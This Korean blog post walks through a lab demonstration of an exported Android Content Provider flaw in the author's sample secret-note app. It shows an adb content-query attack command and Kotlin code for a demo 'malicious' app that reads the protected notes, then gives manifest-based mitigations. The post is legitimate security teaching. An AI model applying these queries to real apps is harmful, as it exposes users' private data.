먼저 Content Provider에 대한 개념이 부족하신 분들은 아래의 포스팅을 읽고 오시길 추천드립니다.
[Android] 4대 Component
Android에는 앱을 구성하는데 필요한 4개의 구성 요소(Component)가 존재하는데 이를 4대 Component라고 부릅니다. 4대 Component는 Activity(액티비티), Service(서비스), BroadCast Receiver(방송 수신자), Cont..
hacksms.tistory.com
간단히 정리하자면 Content Provider는 서로 다른 Application에서 저장된 Data를 공유할 수 있는 방법을 제공하는 Component 입니다.
만약 A 앱에 구현된 Content Provider를 모든 앱에서 접근할 수 있다면, Content Provider를 통해 획득한 중요 정보를 공격자의 서버로 전송하도록 악성 앱을 개발할 수 있을 것 입니다.
그럼 예제 앱을 통하여 시연을 해보겠습니다.
contentproviderA.apk
Dropbox를 통해 공유함
www.dropbox.com
해당 앱은 올바른 비밀번호인 9999를 입력하였을 때 메모를 할 수 있는 화면이 노출되는 시크릿 노트 앱입니다.
메모가 노출되는 오른쪽 화면이 SecondActivity 입니다. 만약 Activity를 Intent를 통하여 강제 호출할 수 있다면, 시크릿 노트의 메모를 확인할 수 있게 됩니다. 그러나 해당 앱의 경우 강제 호출 시 앱이 종료되는 것을 확인하였습니다.
jadx를 이용하여 해당 앱의 AndroidManifest.xml을 보게 되면 com.hacksms.contentprovider Package 안에 TestContentProvider가 있음을 확인할 수 있습니다.
<provider android:name="com.hacksms.contentprovider.TestContentProvider" android:permission="com.hacksms.contentprovider.provider.READ_WRITE" android:exported="true" android:authorities="com.hacksms.contentprovider.provider"/>
이후, 코드 분석을 통하여 Contentr Provider에 접근 시 사용되는 URI를 확인할 수 있었습니다.
URI 구성 : content://authority/path
단일 행에 대한 URI 구성 : content://authority/path/<id>
예제 앱 URI : content://com.hacksms.contentprovider.provider/hiddenData/<id>
adb를 이용하여 Content Provider URI로 요청을 보낼 경우 비밀번호를 모르더라도 시크릿 노트에 저장된 메모를 확인할 수 있었습니다.
공격 구문 : adb shell "content query --uri content://com.hacksms.contentprovider.provider/hiddenData"
adb shell 명령어를 통하여 Content Provider를 호출하는 것은 어쨋든 기기에 물리적으로 접근을 해야한다는 전제 조건과 루팅된 기기를 사용해야 한다는 전제 조건이 필요하기 때문에 이번엔 악성 앱을 통하여 Content Provider를 호출하는 다른 방법을 시연해보겠습니다.
아래의 링크를 통하여 악성 앱을 다운로드 받아주세요.
contentproviderB.apk
Dropbox를 통해 공유함
www.dropbox.com
해당 앱의 중요 포인트만 먼저 말씀을 드리자면, AndroidManifest.xml 파일에서 예제 앱(contentprovider)의 Content Provider를 사용하기 위한 권한을 허용하고 있습니다.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.hacksms.contentproviderb">
<uses-permission android:name="com.hacksms.contentprovider.provider.READ_WRITE"/>
또한, 조회 버튼 클릭 시 contentResolver를 통하여 content://com.hacksms.contentprovider.provider/hiddenData로 요청을 보내 해당 결과를 화면에 보여주는 기능이 존재합니다.
fun selectItem(view: View){
val cursor: Cursor? = contentResolver.query(
Uri.parse("content://com.hacksms.contentprovider.provider/hiddenData"),
null,
null,
null,
null
)
val adapter = RecyclerViewAdapter(this, cursor)
val list = findViewById<RecyclerView>(R.id.list)
list.layoutManager = LinearLayoutManager(list.context)
list.adapter = adapter
}
앱을 실행하여 SELECT 버튼을 클릭하게 되면, 앞서 말씀드린 기능이 실행되면서 시크릿 노트에 작성한 메모를 다른 앱에서도(contentproviderb) 확인할 수 있습니다. 데이터를 조회해서 화면에 표시하는 로직을 공격자의 서버에 보내도록 수정한다면 이는 해당 앱을 설치한 사용자의 중요 정보를 탈취하는 악성 앱으로도 동작할 수 있습니다.
여기서는 조회(select)를 하는 기능에 대해서만 설명을 드렸지만, 동일한 방식으로 데이터를 추가(insert)하거나 수정(update)하거나 삭제(remove)할 수도 있습니다.
대응 방안
1. Provider의 android:exported 속성을 통하여 다른 Application에서 사용할 수 없도록 설정한다.
<provider
android:name=".TestContentProvider"
android:authorities="com.hacksms.contentprovider.provider"
android:exported="false"/>
2. android:protectionLevel 속성을 통해 동일한 인증서로 서명된 Application 또는 System Application만 사용할 수 있도록 설정한다.
signature : 동일한 인증서로 서명된 Application만 사용 가능
signatureOrSystem : 동일한 인증서로 서명된 Application 또는 System Application만 사용 가능
<permission
android:name="com.hacksms.contentprovider.provider.READ_WRITE"
android:protectionLevel="signature"/>
<provider
android:name=".TestContentProvider"
android:authorities="com.hacksms.contentprovider.provider"
android:exported="true"
android:permission="com.hacksms.contentprovider.provider.READ_WRITE"/>
'Hack > Mobile' 카테고리의 다른 글
Android Anti-Repacking Bypass (0) | 2022.11.02 |
---|---|
Galaxy A12(A125N) Rooting With Magisk Without TWRP (0) | 2022.10.29 |
[Android] DeepLink 취약점 (WebView Hijacking Via DeepLink) (0) | 2022.08.07 |
[iOS] Frida에서 Fat Binary File Offset 잡기 (0) | 2022.04.24 |
[iOS] frida-ios-dump for Windows (0) | 2022.03.17 |
댓글